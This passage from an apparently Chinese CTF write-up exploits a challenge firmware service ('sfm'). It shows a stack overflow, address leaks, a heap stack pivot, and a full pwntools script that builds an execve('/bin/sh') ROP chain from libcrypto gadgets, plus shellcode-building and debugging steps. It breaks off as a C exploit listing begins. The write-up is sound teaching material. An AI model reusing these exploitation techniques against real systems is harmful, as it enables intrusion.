class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，这边实际上拷贝了两个东西，一个是加密后的hash值，另一个是调用<code>create_owner_cert</code>创建的结构体。整体的hash其实是在对<code>create_owner_cert</code>算出来的值进行hash，而这个<code>owner_cert</code>对象其实就是我们传入的<code>OwnershipRecord</code>，并且添加了一些证书结构体。注意到这里的<code>append_kv_to_cert</code>函数底层实现实际上使用的是<code>strcpy</code>进行的数据拷贝，也就是说由于<code>utf-8</code>编码导致的内存扩展的漏洞现象会保留。<br>其中根据调试可以知道，当我们把所有的字符串填满的情况下，hash值实际上有<code>0x100</code>字节那么大，此时拷贝逻辑如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( (<span class="type">unsigned</span> <span class="type">int</span>)<span class="built_in">EVP_DigestSignFinal</span>(v9, v14, (__int64)n) == <span class="number">1</span> )</span><br><span class="line">&#123;</span><br><span class="line">    v15 = n[<span class="number">0</span>];</span><br><span class="line">    <span class="built_in">memcpy</span>(out_buf, v12, n[<span class="number">0</span>]);</span><br><span class="line">    v16 = &amp;out_buf[v15];</span><br><span class="line">    v11 = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">memcpy</span>(v16, owner_cert, cnt);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>由于我们之前进行了内存扩展，此时的<code>owner_cert</code>已经远超96字节。以<code>device_name</code>填满<code>0xff</code>为例子，此时的大小已经达到了<code>224</code>字节！于是必定可以进行栈溢出攻击。根据调试，我们塞入一定量后的<code>0xff</code>，并且拼入一些<code>B</code>字符到<code>device_name</code>，可以得到如下的结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">0x7fffb2493a88: 0xbdbfefbdbfefbdbf      0xbfefbdbfefbdbfef                 </span><br><span class="line">0x7fffb2493a98: 0xefbdbfefbdbfefbd      0xbdbfefbdbfefbdbf                 </span><br><span class="line">0x7fffb2493aa8: 0xbfefbdbfefbdbfef      0xefbdbfefbdbfefbd</span><br><span class="line">0x7fffb2493ab8: 0xbdbfefbdbfefbdbf      [0x4242424242424242] &lt;---- rpb</span><br><span class="line">0x7fffb2493ac8: 0x432c424242424242      0x4141414141413d4e</span><br><span class="line">                ^^^^^^^^^^^^^^^^^                     ^^^^</span><br><span class="line">                ret address                        here is struct header</span><br></pre></td></tr></table></figure><p>此时我们就有了栈溢出的攻击原语</p><h4 id="内存布局构造">内存布局构造</h4><p>检查sfm可以知道，这个程序开启了所有的保护:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Arch:     amd64-64-little</span><br><span class="line">RELRO:    Full RELRO</span><br><span class="line">Stack:    Canary found</span><br><span class="line">NX:       NX enabled</span><br><span class="line">PIE:      PIE enabled</span><br></pre></td></tr></table></figure><p>由于我们现在存在ROP的手段，同时又有一个泄露数据的办法，我们可以先检查泄露的数据中会包含什么。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">00000000  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│</span><br><span class="line">*</span><br><span class="line">00000040  00 00 00 00  00 00 00 00  21 00 00 00  00 00 00 00  │····│····│!···│····│</span><br><span class="line">00000050  01 00 00 00  00 00 00 00  90 d9 cb 68  89 7f 00 00  │····│····│···h│····│</span><br><span class="line">00000060  20 f4 d6 68  89 7f 00 00  21 00 00 00  00 00 00 00  │ ··h│····│!···│····│</span><br><span class="line">00000070  02 00 00 00  00 00 00 00  df ee cb 68  89 7f 00 00  │····│····│···h│····│</span><br><span class="line">00000080  c0 b2 d6 68  89 7f 00 00  21 00 00 00  00 00 00 00  │···h│····│!···│····│</span><br><span class="line">00000090  20 a6 5a 7e  c4 55 00 00  10 cb 5a 7e  c4 55 00 00  │ ·Z~│·U··│··Z~│·U··│</span><br><span class="line">000000a0  db 0b 89 64  00 00 00 00  21 00 00 00  00 00 00 00  │···d│····│!···│····│</span><br><span class="line">000000b0  02 00 00 00  00 00 00 00  cf 10 cc 68  89 7f 00 00  │····│····│···h│····│</span><br><span class="line">000000c0  c0 84 d6 68  89 7f 00 00  21 00 00 00  00 00 00 00  │···h│····│!···│····│</span><br><span class="line">000000d0  02 00 00 00  00 00 00 00  48 11 cc 68  89 7f 00 00  │····│····│H··h│····│</span><br><span class="line">000000e0  c0 6b d6 68  89 7f 00 00  21 00 00 00  00 00 00 00  │·k·h│····│!···│····│</span><br><span class="line">000000f0  90 a4 5a 7e  c4 55 00 00  00 00 00 00  00 00 00 00  │··Z~│·U··│····│····│</span><br><span class="line">00000100  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│</span><br></pre></td></tr></table></figure><p>根据简单的观察可知，这里写漏了一个lib地址，为<code>libcrypto.so.3</code>的一个固定地址，这个library题目中有给出，因此我们可以尝试利用这个构造ROP。<br>然而根据之前溢出条件来看，程序最多可以控制的溢出只有<code>ret</code>地址和rpb处，因为这个结构体存在一些其他tag，导致如果我们尝试控制了<code>ret</code>地址之后，其他的地址可能就不好控制了。<br>不过，我们从泄露的数据中还能看到一点<code>heap</code>的地址，那这里我们考虑到之前<code>create_object</code>可以塞入任意数据的事情，可以考虑做一个<strong>栈迁移</strong>，让我们的rsp指针跳转到堆上。<br>首先，我们创建一个堆</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">+--------------+</span><br><span class="line">|              |</span><br><span class="line">|              |</span><br><span class="line">|              |</span><br><span class="line">|              |</span><br><span class="line">|              |</span><br><span class="line">| NvStorage    |</span><br><span class="line">+--------------+</span><br></pre></td></tr></table></figure><p>此时，我们的栈修改如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">+--------------+          +----------------+</span><br><span class="line">|              |&lt;---+     |                |</span><br><span class="line">|              |    |     |                |</span><br><span class="line">|              |    |     |                |</span><br><span class="line">|              |    |     |                |</span><br><span class="line">|              |    |     |                |</span><br><span class="line">| NvStorage    |    |     |                |</span><br><span class="line">+--------------+    |     |                |</span><br><span class="line">                    |     |                |</span><br><span class="line">                    |     |                |</span><br><span class="line">                    |     |                |</span><br><span class="line">                    |     |                |</span><br><span class="line">                    |     | pop rsp ret;   |</span><br><span class="line">                    |     |                |</span><br><span class="line">                    +-----+ NvStorage Addr |</span><br><span class="line">                          +----------------+</span><br></pre></td></tr></table></figure><p>这样就能让rsp指向<code>NvStorage</code>分配的内存中，从而保证有充足的空间存放ROP链。<br>同时，我们使用<code>ropper</code>这个工具，即可快速的生成可以利用的ROP链</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ropper  -f .\libcrypto.so.3 --chain execve</span><br></pre></td></tr></table></figure><p>考虑到整个程序攻击流程比较长（需要上传一个自己的固件，然后让固件与<code>sfm</code>通信），这里考虑先用pwntools模拟这个固件，写出相关的攻击流程，然后再办法将其转换成C代码。为了让其能够正常运行，我们需要有一些前置工作：</p><ul><li>由于这个<code>sfm</code>使用的句柄来自环境变量，所以我们可以使用<code>socket.sockpair</code>来创建一对通信句柄，让其中一个句柄可被继承，然后设置为环境变量，即可实现通信。</li><li>需要对<code>sfm</code>这个binary使用<code>patchelf</code>，让其能够从我们指定的目标目录下进行libc的查找。</li></ul><p>完成准备工作后，我们可以写出当前漏洞的利用脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">sfm_fd, client_fd = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)</span><br><span class="line">os.set_inheritable(sfm_fd.fileno(), <span class="literal">True</span>)</span><br><span class="line">p = process(<span class="string">&quot;./sfm&quot;</span>, env = &#123;<span class="string">&#x27;FIRMWARE_FD&#x27;</span>: <span class="built_in">str</span>(sfm_fd.fileno()), </span><br><span class="line">                            &#125;, </span><br><span class="line">                            close_fds=<span class="literal">False</span></span><br><span class="line">            )</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>,<span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="comment"># gdb.attach(p,&#x27;b sfm_attest_to_quote&#x27;)</span></span><br><span class="line">gdb.attach(p,<span class="string">&#x27;b sfm_certify_owner_record&#x27;</span>)</span><br><span class="line"><span class="comment"># gdb.attach(p)</span></span><br><span class="line"><span class="built_in">print</span>(client_fd.recv(<span class="number">4</span>))</span><br><span class="line">client_fd.send(<span class="string">b&quot;SFMI&quot;</span>)</span><br><span class="line"></span><br><span class="line">fw = <span class="built_in">open</span>(<span class="string">&#x27;./trusted_firmware&#x27;</span>, <span class="string">&#x27;rb&#x27;</span>)</span><br><span class="line">content = fw.read()</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(content), <span class="number">1024</span>):</span><br><span class="line">    <span class="comment"># Update_Banks</span></span><br><span class="line">    cmd = p32(<span class="number">0</span>) + p16(<span class="number">1</span>) + p16(<span class="number">0</span>)</span><br><span class="line">    <span class="comment"># bank_index _padding</span></span><br><span class="line">    cmd += p16(<span class="number">1</span>) + p16(<span class="number">0</span>)</span><br><span class="line">    <span class="comment"># data</span></span><br><span class="line">    cmd += content[i:i+<span class="number">1024</span>]</span><br><span class="line">    client_fd.send(cmd)</span><br><span class="line">    <span class="built_in">print</span>(client_fd.recv(<span class="number">4</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment"># AttestQuote</span></span><br><span class="line">cmd = p32(<span class="number">0</span>) + p16(<span class="number">7</span>) + p16(<span class="number">0</span>)</span><br><span class="line"><span class="comment"># hash id</span></span><br><span class="line">cmd += p16(<span class="number">4</span>)</span><br><span class="line"></span><br><span class="line">client_fd.send(cmd)</span><br><span class="line">data = client_fd.recv(<span class="number">512</span>)</span><br><span class="line"><span class="built_in">print</span>(hexdump(data))</span><br><span class="line">libcrypt = u64(data[<span class="number">0x58</span>:<span class="number">0x60</span>]) - <span class="number">0x347990</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(libcrypt))</span><br><span class="line">leak_heap = u64(data[<span class="number">0x90</span>:<span class="number">0x98</span>])</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(leak_heap))</span><br><span class="line">exp_rop_addr = leak_heap - <span class="number">0x11620</span> + <span class="number">0x18610</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(exp_rop_addr))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 0x55ce41b57620 - 0x000055ce41b46000 + (0x55ce41b5e610 -0x000055ce41b46000)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Stack Pivot to heap</span></span><br><span class="line"><span class="comment"># 0x00000000000b726c : pop rsp ; ret</span></span><br><span class="line"><span class="comment"># Ropper</span></span><br><span class="line"><span class="comment"># 0x00000000000d46c7 : pop rax ; ret</span></span><br><span class="line"><span class="comment"># 0x000000000011ce96 : syscall</span></span><br><span class="line">pop_rsp_ret = p64(libcrypt + <span class="number">0xb726c</span>)</span><br><span class="line">pop_rax_ret = p64(libcrypt + <span class="number">0xd46c7</span>)</span><br><span class="line">pop_rcx_ret = p64(libcrypt + <span class="number">0x1bb813</span>)</span><br><span class="line">mov_rcx_rax_ret = p64(libcrypt + <span class="number">0x114c45</span>)</span><br><span class="line">pop_rdi_ret = p64(libcrypt + <span class="number">0xb71db</span>)</span><br><span class="line">pop_rsi_ret = p64(libcrypt + <span class="number">0xba534</span>)</span><br><span class="line">pop_rdx_ret = p64(libcrypt + <span class="number">0x2b89d3</span>)</span><br><span class="line">syscall = p64(libcrypt + <span class="number">0x11ce96</span>)</span><br><span class="line">data_segment = p64(libcrypt + <span class="number">0x43D000</span>)</span><br><span class="line">data_8_segment = p64(libcrypt + <span class="number">0x43D008</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">exp_rop = pop_rax_ret</span><br><span class="line">exp_rop += <span class="string">b&quot;//bin/sh&quot;</span></span><br><span class="line">exp_rop += pop_rcx_ret</span><br><span class="line">exp_rop += data_segment</span><br><span class="line">exp_rop += mov_rcx_rax_ret</span><br><span class="line">exp_rop += pop_rax_ret</span><br><span class="line">exp_rop += p64(<span class="number">0</span>)</span><br><span class="line">exp_rop += pop_rcx_ret</span><br><span class="line">exp_rop += data_8_segment</span><br><span class="line">exp_rop += mov_rcx_rax_ret</span><br><span class="line">exp_rop += pop_rdi_ret</span><br><span class="line">exp_rop += data_segment</span><br><span class="line">exp_rop += pop_rsi_ret</span><br><span class="line">exp_rop += data_8_segment</span><br><span class="line">exp_rop += pop_rdx_ret</span><br><span class="line">exp_rop += data_8_segment</span><br><span class="line">exp_rop += pop_rax_ret</span><br><span class="line">exp_rop += p64(<span class="number">0x3b</span>)</span><br><span class="line">exp_rop += syscall</span><br><span class="line">exp_rop = exp_rop.ljust(<span class="number">1024</span>,<span class="string">b&#x27;A&#x27;</span>)</span><br><span class="line"><span class="comment"># print(len(exp_rop))</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#  ---- create object</span></span><br><span class="line"><span class="comment"># SfmCreateObject</span></span><br><span class="line">cmd = p32(<span class="number">0</span>) + p16(<span class="number">2</span>) + p16(<span class="number">0</span>) </span><br><span class="line"><span class="comment"># SfmObjectType:NvStorage</span></span><br><span class="line">cmd += p16(<span class="number">3</span>)</span><br><span class="line"><span class="comment"># SfmAuthorizationPolicy</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">pub struct SfmAuthorizationPolicy &#123;</span></span><br><span class="line"><span class="string">    policy_type: u16,</span></span><br><span class="line"><span class="string">    pub data: [u8; 64]</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="comment"># NullPolicy pub data</span></span><br><span class="line">cmd += p16(<span class="number">0</span>) + <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">64</span></span><br><span class="line"><span class="comment"># NvStorage + body</span></span><br><span class="line">cmd += p16(<span class="number">1024</span>)</span><br><span class="line">cmd += exp_rop</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;send object&quot;</span>)</span><br><span class="line">client_fd.send(cmd)</span><br><span class="line"><span class="built_in">print</span>(client_fd.recv(<span class="number">4</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment"># w.send(cmd)</span></span><br><span class="line"><span class="comment"># print(w.recv(4))</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ----------- ModifyObject --------------</span></span><br><span class="line">cmd = p32(<span class="number">0</span>) + p16(<span class="number">3</span>) + p16(<span class="number">0</span>)</span><br><span class="line"><span class="comment"># object_index, this is initialized</span></span><br><span class="line">cmd += p32(<span class="number">0</span>)</span><br><span class="line"><span class="comment"># cmd += p16(0)</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">pub struct OwnershipRecordRaw &#123;</span></span><br><span class="line"><span class="string">    pub country_code: [u8; 2],</span></span><br><span class="line"><span class="string">    pub _padding: [u8; 2],</span></span><br><span class="line"><span class="string">    pub owner_name: [u8; 64],</span></span><br><span class="line"><span class="string">    pub device_name: [u8; 16],</span></span><br><span class="line"><span class="string">    pub serial_number: [u8; 8],</span></span><br><span class="line"><span class="string">    pub creation_date: u32,</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="comment"># owner_name = b&#x27;B&#x27;*64</span></span><br><span class="line"><span class="comment"># prepare rop</span></span><br><span class="line">owner_name = <span class="string">b&#x27;\xff&#x27;</span>*<span class="number">51</span>+<span class="string">b&#x27;B&#x27;</span>*<span class="number">1</span> + <span class="string">b&#x27;\x00&#x27;</span>*<span class="number">12</span></span><br><span class="line"><span class="comment"># skip one junk</span></span><br><span class="line"><span class="comment"># owner_name = b&#x27;\xff&#x27;*52+b&#x27;B&#x27;*2 + pop_rax_ret +b&#x27;b&#x27;*2</span></span><br><span class="line"><span class="comment"># device_name = pop_rsp_ret + p64(exp_rop_addr)</span></span><br><span class="line">device_name = pop_rsp_ret + <span class="string">b&#x27;H&#x27;</span>*<span class="number">8</span> <span class="comment"># zero cut</span></span><br><span class="line">serial_number = p64(exp_rop_addr)</span><br><span class="line"><span class="comment"># serial_number = b&#x27;A&#x27;*8</span></span><br><span class="line">cmd = cmd + <span class="string">b&#x27;\x00\x00&#x27;</span> + <span class="string">b&#x27;\x00\x00&#x27;</span> + owner_name + device_name + serial_number + p32(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">client_fd.send(cmd)</span><br><span class="line"><span class="built_in">print</span>(client_fd.recv(<span class="number">4</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment"># SfmCertifyObject</span></span><br><span class="line">cmd = p32(<span class="number">0</span>) + p16(<span class="number">6</span>) + p16(<span class="number">0</span>)</span><br><span class="line"><span class="comment"># OwnershipRecord</span></span><br><span class="line">cmd += p32(<span class="number">0</span>)</span><br><span class="line">client_fd.send(cmd)</span><br><span class="line"></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">0x7ffccf2f7438: 0x6161616161616161      0x3d4e432c01716262</span></span><br><span class="line"><span class="string">0x7ffccf2f7448: 0x4242424242424242      0x4242424242424242</span></span><br><span class="line"><span class="string">0x7ffccf2f7458: 0x4141414141414141      0x4242424242424202</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h4 id="进一步做题">进一步做题</h4><p>在Python代码执行成功后，我们需要继续贴合题目。</p><p>这里有个小疑问，我们能否直接上传一个shellcode，读取后台题目中的<code>trusted_firmware</code>呢？<br>其实是不行的，因为这个程序仅能够支持<code>read,write,recvmsg</code>这几个中断调用，这就意味着我们无法读取攻击目标端上的<code>trusted_firmare</code>，而是得用前文提到的那种，上传的程序中**需要把整个<code>trusted_firmware</code>**包含进去。为了能够给我们自己的shellcode腾位置，我们需要按照前文提到的，将对应的binary进行压缩</p><p>简单检查了一下UPX的源码之后，发现其用的是一种叫做<code>LZMA</code>的压缩算法，经过上网搜了一段时间之后，找到一个<a href="https://github.com/jibsen/blz4/blob/master/lz4_depack.c">LZ4</a>的压缩算法比较简单。可以使用这个算法帮我们将<code>trusted_firmware</code>压缩，然后我们再在我们的binary里面再把这个压缩后的程序解即可。</p><p>构建程序的时候需要注意：</p><ul><li>程序应该尽可能的小，并且不包含elf头部等信息，只有基本的代码数据部分</li><li>从<code>raw</code>中可以看出，不应当包含libc中的内容，也就是说我们需要尽可能的只使用系统调用完成任务</li></ul><p>其中，有一个编译shellcode的技巧是，我们可以让数据放在代码段，这样就可以很简单的只将代码段提取出来，例如我们声明:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">char</span> blob[] __attribute__((<span class="built_in">section</span>(<span class="string">&quot;.text&quot;</span>))) </span><br></pre></td></tr></table></figure><p>此时就能将<code>blob</code>只存放在代码段。</p><p>然后就能使用下列编译策略将shellcode取出来</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gcc -Os -nostdlib -Wl,--gc-sections  -o firm.o firm.c</span><br><span class="line">objcopy -O binary --only-section=.text firm.o firm.bin</span><br></pre></td></tr></table></figure><h4 id="调试技巧">调试技巧</h4><p>这个题目非常讲究调试技巧。首先，这里无法使用前文pwntools的方式辅助调试，毕竟我们此时确实需要启动两个进程；其次，两个进程一定要使用指定的句柄进行通信，这就导致我们不能像平时那样直接让双方进行通信。</p><p>这里用了一个取巧的办法，首先使用了下列python脚本创建一个<code>unix stream</code>存在的环境:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">sock1, sock2 = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)</span><br><span class="line">os.set_inheritable(sock1.fileno(), <span class="literal">True</span>)</span><br><span class="line">os.set_inheritable(sock2.fileno(), <span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line">os.environ[<span class="string">&#x27;SFM_FD&#x27;</span>] = <span class="built_in">str</span>(sock2.fileno())</span><br><span class="line">os.environ[<span class="string">&#x27;FIRMWARE_FD&#x27;</span>] = <span class="built_in">str</span>(sock1.fileno())</span><br><span class="line"></span><br><span class="line">subprocess.call([<span class="string">&#x27;bash&#x27;</span>, <span class="string">&#x27;-i&#x27;</span>], env=os.environ,pass_fds=(sock1.fileno(), sock2.fileno()))</span><br></pre></td></tr></table></figure><p>接下来，在这个shell中，我们再后台启动<code>sfm</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./sfm &amp;</span><br></pre></td></tr></table></figure><p>这样我们就能从其他terminal对这个进程进行调试。同时，因为只有当前的terminal中有打开的句柄，此时可以使用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./launcer ./firm.bin</span><br></pre></td></tr></table></figure><p>来传入有效数据。</p><p>再无数次的试错后，终于成功的执行了后台程序:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">├─bash───python3───bash─┬─python3───ba+</span><br><span class="line">                        └─sh</span><br></pre></td></tr></table></figure><p>注意，由于按照我们调试技巧在后端启动了<code>sfm</code>，所以此时的<code>sh</code>其实会执行失败，不过如果能看到sh启动的话，大概率exp就是执行成功了。这里给出相关EXP:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span 